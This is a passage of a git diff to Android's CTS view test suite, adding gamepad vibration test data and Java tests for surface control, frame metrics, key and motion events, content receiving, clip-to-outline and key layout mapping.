+        {"type":107, "data":[80]}    //  UI_SET_FFBIT : FF_RUMBLE
+    ],
+    "ff_effects_max" : 1
+}
diff --git a/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json b/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json
new file mode 100644
index 0000000..3e3f9db
--- /dev/null
+++ b/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json
@@ -0,0 +1,21 @@
+[
+    {
+      "id": 1,
+      "durations" : [1000],
+      "amplitudes":
+        {
+            "0" : [192],
+            "1" : [192]
+        }
+    },
+
+    {
+        "id": 1,
+        "durations" : [2000, 2000, 2000, 2000, 2000],
+        "amplitudes":
+          {
+              "0" : [16, 32, 64, 128, 255],
+              "1" : [255, 128 ,32, 32, 64]
+          }
+    }
+]
diff --git a/tests/tests/view/res/raw/google_gamepad_vibratortests.json b/tests/tests/view/res/raw/google_gamepad_vibratortests.json
new file mode 100644
index 0000000..4f13fbf
--- /dev/null
+++ b/tests/tests/view/res/raw/google_gamepad_vibratortests.json
@@ -0,0 +1,14 @@
+[
+    {
+      "id": 1,
+      "durations" : [1000],
+      "amplitudes" : [192]
+    },
+
+    {
+      "id": 1,
+      "durations" : [2000, 2000, 2000, 2000, 2000],
+      "amplitudes" : [16, 32, 64, 128, 255]
+    }
+
+]
diff --git a/tests/tests/view/sdk28/Android.bp b/tests/tests/view/sdk28/Android.bp
index f005f3b..764ce60 100644
--- a/tests/tests/view/sdk28/Android.bp
+++ b/tests/tests/view/sdk28/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsViewTestCasesSdk28",
     defaults: ["cts_defaults"],
@@ -43,6 +39,8 @@
         "src/**/*.java",
     ],
 
-    sdk_version: "28",
+    sdk_version: "30",
+    min_sdk_version: "28",
+    target_sdk_version: "28",
 
 }
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
index affc2ae..52054f5 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
@@ -16,9 +16,20 @@
 
 package android.view.cts;
 
+import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
+
 import static org.junit.Assert.assertTrue;
 
-import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
+import androidx.test.filters.RequiresDevice;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
 
 import android.animation.ObjectAnimator;
 import android.animation.PropertyValuesHolder;
@@ -38,17 +49,6 @@
 import android.view.cts.surfacevalidator.PixelColor;
 import android.view.cts.surfacevalidator.SurfaceControlTestCase;
 
-import androidx.test.filters.RequiresDevice;
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.rules.TestName;
-import org.junit.runner.RunWith;
-
 import java.util.HashSet;
 import java.util.Set;
 
@@ -385,6 +385,29 @@
     }
 
     @Test
+    public void testSurfaceControl_acquire() throws Throwable {
+        verifyTest(
+                new BasicSurfaceHolderCallback() {
+                    @Override
+                    public void surfaceCreated(SurfaceHolder holder) {
+                        long surfaceControl = createFromWindow(holder.getSurface());
+                        // increment one refcount
+                        nSurfaceControl_acquire(surfaceControl);
+                        // decrement one refcount incremented from create call
+                        nSurfaceControl_release(surfaceControl);
+                        setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
+                                PixelColor.RED);
+                    }
+                },
+                new PixelChecker(PixelColor.RED) { //10000
+                    @Override
+                    public boolean checkPixels(int pixelCount, int width, int height) {
+                        return pixelCount > 9000 && pixelCount < 11000;
+                    }
+                });
+    }
+
+    @Test
     public void testSurfaceTransaction_setBuffer() throws Throwable {
         verifyTest(
                 new BasicSurfaceHolderCallback() {
@@ -1558,6 +1581,7 @@
     private static native void nSurfaceTransaction_apply(long surfaceTransaction);
     private static native long nSurfaceControl_createFromWindow(Surface surface);
     private static native long nSurfaceControl_create(long surfaceControl);
+    private static native void nSurfaceControl_acquire(long surfaceControl);
     private static native void nSurfaceControl_release(long surfaceControl);
     private static native long nSurfaceTransaction_setSolidBuffer(
             long surfaceControl, long surfaceTransaction, int width, int height, int color);
diff --git a/tests/tests/view/src/android/view/cts/ContentInfoTest.java b/tests/tests/view/src/android/view/cts/ContentInfoTest.java
new file mode 100644
index 0000000..95c33f7
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/ContentInfoTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static android.view.ContentInfo.SOURCE_CLIPBOARD;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ClipData;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Pair;
+import android.view.ContentInfo;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link ContentInfo}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ContentInfoTest {
+
+    @Test
+    public void testPartition_multipleItems() throws Exception {
+        Uri sampleUri = Uri.parse("content://com.example/path");
+        ClipData clip = ClipData.newPlainText("", "Hello");
+        clip.addItem(new ClipData.Item("Hi", "<b>Salut</b>"));
+        clip.addItem(new ClipData.Item(sampleUri));
+        ContentInfo payload = new ContentInfo.Builder(clip, SOURCE_CLIPBOARD)
+                .setFlags(ContentInfo.FLAG_CONVERT_TO_PLAIN_TEXT)
+                .setLinkUri(Uri.parse("http://example.com"))
+                .setExtras(new Bundle())
+                .build();
+
+        // Test splitting when some items match and some don't.
+        Pair<ContentInfo, ContentInfo> split;
+        split = payload.partition(item -> item.getUri() != null);
+        assertThat(split.first.getClip().getItemCount()).isEqualTo(1);
+        assertThat(split.second.getClip().getItemCount()).isEqualTo(2);
+        assertThat(split.first.getClip().getItemAt(0).getUri()).isEqualTo(sampleUri);
+        assertThat(split.first.getClip().getDescription()).isNotSameInstanceAs(
+                payload.getClip().getDescription());
+        assertThat(split.second.getClip().getDescription()).isNotSameInstanceAs(
+                payload.getClip().getDescription());
+        assertThat(split.first.getSource()).isEqualTo(SOURCE_CLIPBOARD);
+        assertThat(split.first.getLinkUri()).isNotNull();
+        assertThat(split.first.getExtras()).isNotNull();
+        assertThat(split.second.getSource()).isEqualTo(SOURCE_CLIPBOARD);
+        assertThat(split.second.getLinkUri()).isNotNull();
+        assertThat(split.second.getExtras()).isNotNull();
+
+        // Test splitting when none of the items match.
+        split = payload.partition(item -> false);
+        assertThat(split.first).isNull();
+        assertThat(split.second).isSameInstanceAs(payload);
+
+        // Test splitting when all of the items match.
+        split = payload.partition(item -> true);
+        assertThat(split.first).isSameInstanceAs(payload);
+        assertThat(split.second).isNull();
+    }
+
+    @Test
+    public void testPartition_singleItem() throws Exception {
+        ClipData clip = ClipData.newPlainText("", "Hello");
+        ContentInfo payload = new ContentInfo.Builder(clip, SOURCE_CLIPBOARD)
+                .setFlags(ContentInfo.FLAG_CONVERT_TO_PLAIN_TEXT)
+                .setLinkUri(Uri.parse("http://example.com"))
+                .setExtras(new Bundle())
+                .build();
+
+        Pair<ContentInfo, ContentInfo> split;
+        split = payload.partition(item -> false);
+        assertThat(split.first).isNull();
+        assertThat(split.second).isSameInstanceAs(payload);
+
+        split = payload.partition(item -> true);
+        assertThat(split.first).isSameInstanceAs(payload);
+        assertThat(split.second).isNull();
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
index 1d741aa..6ee1441 100644
--- a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
@@ -175,27 +175,42 @@
     }
 
     private void callGetMetric(FrameMetrics frameMetrics) {
-        // The return values for non-boolean metrics do not have expected values. Here we
-        // are verifying that calling getMetrics does not crash
-        frameMetrics.getMetric(FrameMetrics.UNKNOWN_DELAY_DURATION);
-        frameMetrics.getMetric(FrameMetrics.INPUT_HANDLING_DURATION);
-        frameMetrics.getMetric(FrameMetrics.ANIMATION_DURATION);
-        frameMetrics.getMetric(FrameMetrics.LAYOUT_MEASURE_DURATION);
-        frameMetrics.getMetric(FrameMetrics.DRAW_DURATION);
-        frameMetrics.getMetric(FrameMetrics.SYNC_DURATION);
-        frameMetrics.getMetric(FrameMetrics.COMMAND_ISSUE_DURATION);
-        frameMetrics.getMetric(FrameMetrics.SWAP_BUFFERS_DURATION);
-        frameMetrics.getMetric(FrameMetrics.TOTAL_DURATION);
 
         // Perform basic checks on timestamp values.
+        long unknownDelay = frameMetrics.getMetric(FrameMetrics.UNKNOWN_DELAY_DURATION);
+        long input = frameMetrics.getMetric(FrameMetrics.INPUT_HANDLING_DURATION);
+        long animation = frameMetrics.getMetric(FrameMetrics.ANIMATION_DURATION);
+        long layoutMeasure = frameMetrics.getMetric(FrameMetrics.LAYOUT_MEASURE_DURATION);
+        long draw = frameMetrics.getMetric(FrameMetrics.DRAW_DURATION);
+        long sync = frameMetrics.getMetric(FrameMetrics.SYNC_DURATION);
+        long commandIssue = frameMetrics.getMetric(FrameMetrics.COMMAND_ISSUE_DURATION);
+        long swapBuffers = frameMetrics.getMetric(FrameMetrics.SWAP_BUFFERS_DURATION);
+        long gpuDuration = frameMetrics.getMetric(FrameMetrics.GPU_DURATION);
+        long deadline = frameMetrics.getMetric(FrameMetrics.DEADLINE);
+        long totalDuration = frameMetrics.getMetric(FrameMetrics.TOTAL_DURATION);
         long intended_vsync = frameMetrics.getMetric(FrameMetrics.INTENDED_VSYNC_TIMESTAMP);
         long vsync = frameMetrics.getMetric(FrameMetrics.VSYNC_TIMESTAMP);
-        long now = System.nanoTime();
+
+        assertTrue(unknownDelay > 0);
+        assertTrue(input > 0);
+        assertTrue(animation > 0);
+        assertTrue(layoutMeasure > 0);
+        assertTrue(draw > 0);
+        assertTrue(sync > 0);
+        assertTrue(commandIssue > 0);
+        assertTrue(swapBuffers > 0);
         assertTrue(intended_vsync > 0);
         assertTrue(vsync > 0);
+        assertTrue(gpuDuration > 0);
+        assertTrue(totalDuration > 0);
+        assertTrue(deadline > 0);
+
+        long now = System.nanoTime();
         assertTrue(intended_vsync < now);
         assertTrue(vsync < now);
         assertTrue(vsync >= intended_vsync);
+        assertTrue(totalDuration >= unknownDelay + input + animation + layoutMeasure + draw + sync
+                + commandIssue + swapBuffers + gpuDuration);
 
         // This is the only boolean metric so far
         final long firstDrawFrameMetric = frameMetrics.getMetric(FrameMetrics.FIRST_DRAW_FRAME);
diff --git a/tests/tests/view/src/android/view/cts/KeyEventTest.java b/tests/tests/view/src/android/view/cts/KeyEventTest.java
index 2f7e1a5..516b3e1 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventTest.java
@@ -59,6 +59,12 @@
     private long mDownTime;
     private long mEventTime;
 
+    private static native void nativeKeyEventTest(KeyEvent event);
+
+    static {
+        System.loadLibrary("ctsview_jni");
+    }
+
     @Before
     public void setup() {
         mKeyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
@@ -586,6 +592,23 @@
     }
 
     @Test
+    public void testIsMediaSessionKey() {
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_PLAY));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_PAUSE));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MUTE));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_HEADSETHOOK));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_STOP));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_NEXT));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_PREVIOUS));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_REWIND));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_RECORD));
+        assertTrue(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD));
+
+        assertFalse(KeyEvent.isMediaSessionKey(KeyEvent.KEYCODE_0));
+    }
+
+    @Test
     public void testGetMatch() {
         // Our default key event is down + 0, so we expect getMatch to return our '0' character
         assertEquals('0', mKeyEvent.getMatch(new char[] { '0', '1', '2' }));
@@ -795,6 +818,13 @@
                 KeyEvent.keyCodeFromString(Integer.toString(KeyEvent.LAST_KEYCODE + 1)));
     }
 
+    @Test
+    public void testNativeConverter() {
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_A,
+                1, 0, KeyCharacterMap.VIRTUAL_KEYBOARD, 0, 0, InputDevice.SOURCE_TOUCHSCREEN);
+        nativeKeyEventTest(mKeyEvent);
+    }
+
     // Parcel a KeyEvent, then create a new KeyEvent from this parcel. Return the new KeyEvent
     private KeyEvent parcelUnparcel(KeyEvent keyEvent) {
         Parcel parcel = Parcel.obtain();
diff --git a/tests/tests/view/src/android/view/cts/MotionEventTest.java b/tests/tests/view/src/android/view/cts/MotionEventTest.java
index 14ccf8b..79a5d5f 100644
--- a/tests/tests/view/src/android/view/cts/MotionEventTest.java
+++ b/tests/tests/view/src/android/view/cts/MotionEventTest.java
@@ -72,6 +72,12 @@
     private static final float DELTA               = 0.01f;
     private static final float RAW_COORD_TOLERANCE = 0.001f;
 
+    private static native void nativeMotionEventTest(MotionEvent event);
+
+    static {
+        System.loadLibrary("ctsview_jni");
+    }
+
     @Before
     public void setup() {
         mDownTime = SystemClock.uptimeMillis();
@@ -685,14 +691,11 @@
             assertEquals(Math.sin(angle) * RADIUS, c.x, RAW_COORD_TOLERANCE);
             assertEquals(-Math.cos(angle) * RADIUS, c.y, RAW_COORD_TOLERANCE);
             assertEquals(Math.tan(angle), Math.tan(c.orientation), 0.1);
+
+            // Applying the transformation should preserve the raw X and Y of all pointers.
+            assertEquals(originalRawCoords[i].x, event.getRawX(i), RAW_COORD_TOLERANCE);
+            assertEquals(originalRawCoords[i].y, event.getRawY(i), RAW_COORD_TOLERANCE);
         }
-
-        // Applying the transformation should preserve the raw X and Y of the first pointer.
-        assertEquals(originalRawCoords[0].x, event.getRawX(), RAW_COORD_TOLERANCE);
-        assertEquals(originalRawCoords[0].y, event.getRawY(), RAW_COORD_TOLERANCE);
-
-        // TODO(b/124116082) Verify whether transformations on MotionEvents should preserve raw X
-        // and Y for all pointers.
     }
 
     private void dump(String label, MotionEvent ev) {
@@ -980,4 +983,11 @@
         assertEquals(MotionEvent.CLASSIFICATION_NONE, mMotionEvent1.getClassification());
         assertEquals(MotionEvent.CLASSIFICATION_NONE, mMotionEvent2.getClassification());
     }
+
+    @Test
+    public void testNativeConverter() {
+        final MotionEvent event = MotionEvent.obtain(mDownTime, mEventTime,
+                MotionEvent.ACTION_MOVE, X_3F, Y_4F, META_STATE);
+        nativeMotionEventTest(event);
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 99e4da8..fd3d174 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -42,7 +42,7 @@
 import android.view.View;
 import android.view.Window;
 import android.view.WindowManager;
-import android.view.cts.util.DisableFixToUserRotationRule;
+import android.view.cts.util.DisableFixedToUserRotationRule;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.LargeTest;
@@ -71,8 +71,8 @@
     private static final String TAG = "PixelCopyTests";
 
     @Rule
-    public DisableFixToUserRotationRule mDisableFixToUserRotationRule =
-            new DisableFixToUserRotationRule();
+    public DisableFixedToUserRotationRule mDisableFixedToUserRotationRule =
+            new DisableFixedToUserRotationRule();
 
     @Rule
     public ActivityTestRule<PixelCopyGLProducerCtsActivity> mGLSurfaceViewActivityRule =
diff --git a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
index 830ffc9..cbe94ed 100644
--- a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
@@ -46,6 +46,7 @@
         ViewConfiguration.getFadingEdgeLength();
         ViewConfiguration.getPressedStateDuration();
         ViewConfiguration.getLongPressTimeout();
+        assertTrue(ViewConfiguration.getMultiPressTimeout() > 0);
         ViewConfiguration.getTapTimeout();
         ViewConfiguration.getJumpTapTimeout();
         ViewConfiguration.getEdgeSlop();
diff --git a/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java b/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java
new file mode 100644
index 0000000..edfb312
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static android.view.ContentInfo.SOURCE_CLIPBOARD;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.net.Uri;
+import android.view.ContentInfo;
+import android.view.OnReceiveContentListener;
+import android.view.View;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link View#performReceiveContent} and related code.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ViewOnReceiveContentTest {
+    @Rule
+    public ActivityTestRule<ViewTestCtsActivity> mActivityRule = new ActivityTestRule<>(
+            ViewTestCtsActivity.class);
+
+    private ViewTestCtsActivity mActivity;
+    private OnReceiveContentListener mReceiver;
+
+    @Before
+    public void before() {
+        mActivity = mActivityRule.getActivity();
+        mReceiver = mock(OnReceiveContentListener.class);
+    }
+
+    @Test
+    public void testOnReceiveContent_mimeTypes() {
+        View view = new View(mActivity);
+
+        // MIME types are null by default
+        assertThat(view.getOnReceiveContentMimeTypes()).isNull();
+
+        // Setting MIME types with a non-null callback works
+        String[] mimeTypes = new String[] {"image/*", "video/mp4"};
+        view.setOnReceiveContentListener(mimeTypes, mReceiver);
+        assertThat(view.getOnReceiveContentMimeTypes()).isEqualTo(mimeTypes);
+
+        // Setting null MIME types and null callback works
+        view.setOnReceiveContentListener(null, null);
+        assertThat(view.getOnReceiveContentMimeTypes()).isNull();
+
+        // Setting empty MIME types and null callback works
+        view.setOnReceiveContentListener(new String[0], null);
+        assertThat(view.getOnReceiveContentMimeTypes()).isNull();
+
+        // Setting MIME types with a null callback works
+        view.setOnReceiveContentListener(mimeTypes, null);
+        assertThat(view.getOnReceiveContentMimeTypes()).isEqualTo(mimeTypes);
+
+        // Setting null or empty MIME types with a non-null callback is not allowed
+        try {
+            view.setOnReceiveContentListener(null, mReceiver);
+            fail("Expected IllegalArgumentException");
+        } catch (IllegalArgumentException expected) { }
+        try {
+            view.setOnReceiveContentListener(new String[0], mReceiver);
+            fail("Expected IllegalArgumentException");
+        } catch (IllegalArgumentException expected) { }
+
+        // Passing "*/*" as a MIME type is not allowed
+        try {
+            view.setOnReceiveContentListener(new String[] {"image/gif", "*/*"}, mReceiver);
+            fail("Expected IllegalArgumentException");
+        } catch (IllegalArgumentException expected) { }
+    }
+
+    @Test
+    public void testPerformReceiveContent() {
+        View view = new View(mActivity);
+        String[] mimeTypes = new String[] {"image/*", "video/mp4"};
+        ContentInfo samplePayloadGif = sampleUriPayload("image/gif");
+        ContentInfo samplePayloadPdf = sampleUriPayload("application/pdf");
+
+        // Calling performReceiveContent() returns the payload if there's no listener (default)
+        assertThat(view.performReceiveContent(samplePayloadGif)).isEqualTo(samplePayloadGif);
+
+        // Calling performReceiveContent() calls the configured listener
+        view.setOnReceiveContentListener(mimeTypes, mReceiver);
+        when(mReceiver.onReceiveContent(any(), any())).thenReturn(null);
+        assertThat(view.performReceiveContent(samplePayloadGif)).isNull();
+
+        // Calling performReceiveContent() calls the configured listener even if the MIME type of
+        // the content is not in the set of supported MIME types
+        assertThat(view.performReceiveContent(samplePayloadPdf)).isNull();
+
+        // Clearing the listener restores default behavior
+        view.setOnReceiveContentListener(null, null);
+        assertThat(view.performReceiveContent(samplePayloadGif)).isEqualTo(samplePayloadGif);
+    }
+
+    @Test
+    public void testOnReceiveContent() {
+        View view = new View(mActivity);
+        String[] mimeTypes = new String[] {"image/*", "video/mp4"};
+        ContentInfo samplePayloadGif = sampleUriPayload("image/gif");
+
+        // Calling onReceiveContent() returns the payload if there's no listener
+        assertThat(view.performReceiveContent(samplePayloadGif)).isEqualTo(samplePayloadGif);
+
+        // Calling onReceiveContent() returns the payload even if there is a listener
+        view.setOnReceiveContentListener(mimeTypes, mReceiver);
+        when(mReceiver.onReceiveContent(any(), any())).thenReturn(null);
+        assertThat(view.onReceiveContent(samplePayloadGif)).isEqualTo(samplePayloadGif);
+    }
+
+    private static ContentInfo sampleUriPayload(String ... mimeTypes) {
+        ClipData clip = new ClipData(
+                new ClipDescription("test", mimeTypes),
+                new ClipData.Item(Uri.parse("content://example/1")));
+        return new ContentInfo.Builder(clip, SOURCE_CLIPBOARD).build();
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 3f9f563..9dd4928 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -5079,6 +5079,30 @@
         assertFalse(view.isShowingLayoutBounds());
     }
 
+    @Test
+    public void testClipToOutline() {
+        View clipToOutlineUnsetView = mActivity.findViewById(R.id.clip_to_outline_unset);
+        assertFalse(clipToOutlineUnsetView.getClipToOutline());
+        clipToOutlineUnsetView.setClipToOutline(true);
+        assertTrue(clipToOutlineUnsetView.getClipToOutline());
+        clipToOutlineUnsetView.setClipToOutline(false);
+        assertFalse(clipToOutlineUnsetView.getClipToOutline());
+
+        View clipToOutlineFalseView = mActivity.findViewById(R.id.clip_to_outline_false);
+        assertFalse(clipToOutlineFalseView.getClipToOutline());
+        clipToOutlineFalseView.setClipToOutline(true);
+        assertTrue(clipToOutlineFalseView.getClipToOutline());
+        clipToOutlineFalseView.setClipToOutline(false);
+        assertFalse(clipToOutlineFalseView.getClipToOutline());
+
+        View clipToOutlineTrueView = mActivity.findViewById(R.id.clip_to_outline_true);
+        assertTrue(clipToOutlineTrueView.getClipToOutline());
+        clipToOutlineTrueView.setClipToOutline(false);
+        assertFalse(clipToOutlineTrueView.getClipToOutline());
+        clipToOutlineTrueView.setClipToOutline(true);
+        assertTrue(clipToOutlineTrueView.getClipToOutline());
+    }
+
     private static class MockDrawable extends Drawable {
         private boolean mCalledSetTint = false;
 
diff --git a/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceEnabledTest.java
similarity index 100%
rename from tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
rename to tests/tests/view/src/android/view/cts/input/InputDeviceEnabledTest.java
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTest.java
new file mode 100644
index 0000000..ff99963
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTest.java
@@ -0,0 +1,358 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.app.Instrumentation;
+import android.view.InputDevice;
+import android.view.KeyEvent;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * CTS test case for generic.kl key layout mapping.
+ * This test utilize uinput command line tool to create a test device, and configure the virtual
+ * device to have all keys need to be tested. The JSON format input for device configuration
+ * and EV_KEY injection will be created directly from this test for uinput command.
+ * Keep res/raw/Generic.kl in sync with framework/base/data/keyboards/Generic.kl, this file
+ * will be loaded and parsed in this test, looping through all key labels and the corresponding
+ * EV_KEY code, injecting the KEY_UP and KEY_DOWN event to uinput, then verify the KeyEvent
+ * delivered to test application view. Except meta control keys and special keys not delivered
+ * to apps, all key codes in generic.kl will be verified.
+ *
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceKeyLayoutMapTest {
+    private static final String TAG = "InputDeviceKeyLayoutMapTest";
+    private static final String LABEL_PREFIX = "KEYCODE_";
+    private static final int DEVICE_ID = 1;
+    private static final int EV_SYN = 0;
+    private static final int EV_KEY = 1;
+    private static final int EV_KEY_DOWN = 1;
+    private static final int EV_KEY_UP = 0;
+    private static final int UI_SET_EVBIT = 100;
+    private static final int UI_SET_KEYBIT = 101;
+    private static final int GOOGLE_VENDOR_ID = 0x18d1;
+    private static final int GOOGLE_VIRTUAL_KEYBOARD_ID = 0x001f;
+    private static final int POLL_EVENT_TIMEOUT_SECONDS = 1;
+    private static final int RETRY_COUNT = 10;
+
+    private Map<String, Integer> mKeyLayout;
+    private Instrumentation mInstrumentation;
+    private UinputDevice mUinputDevice;
+    private int mMetaState;
+    private InputJsonParser mParser;
+
+    private static native Map<String, Integer> nativeLoadKeyLayout(String genericKeyLayout);
+
+    static {
+        System.loadLibrary("ctsview_jni");
+    }
+
+    @Rule
+    public ActivityTestRule<InputDeviceKeyLayoutMapTestActivity> mActivityRule =
+            new ActivityTestRule<>(InputDeviceKeyLayoutMapTestActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        PollingCheck.waitFor(mActivityRule.getActivity()::hasWindowFocus);
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mKeyLayout = nativeLoadKeyLayout(mParser.readRegisterCommand(R.raw.Generic));
+        mUinputDevice = new UinputDevice(mInstrumentation, DEVICE_ID, GOOGLE_VENDOR_ID,
+                GOOGLE_VIRTUAL_KEYBOARD_ID, InputDevice.SOURCE_KEYBOARD,
+                createDeviceRegisterCommand());
+
+        mMetaState = KeyEvent.META_NUM_LOCK_ON;
+    }
+
+    @After
+    public void tearDown() {
+        if (mUinputDevice != null) {
+            mUinputDevice.close();
+        }
+    }
+
+    /**
+     * Get a KeyEvent from event queue or timeout.
+     * The test activity instance may change in the middle, calling getKeyEvent with the old
+     * activity instance will get timed out when test activity instance changed. Rather than
+     * doing a long wait for timeout with same activity instance, break the polling into a number
+     * of retries and each time of retry call the ActivityTestRule.getActivity for current activity
+     * instance to avoid the test failure because of polling the old activity instance get timed
+     * out consequently failed the test.
+     *
+     * @param retryCount The times to retry get KeyEvent from test activity.
+     *
+     * @return KeyEvent delivered to test activity, null if timeout.
+     */
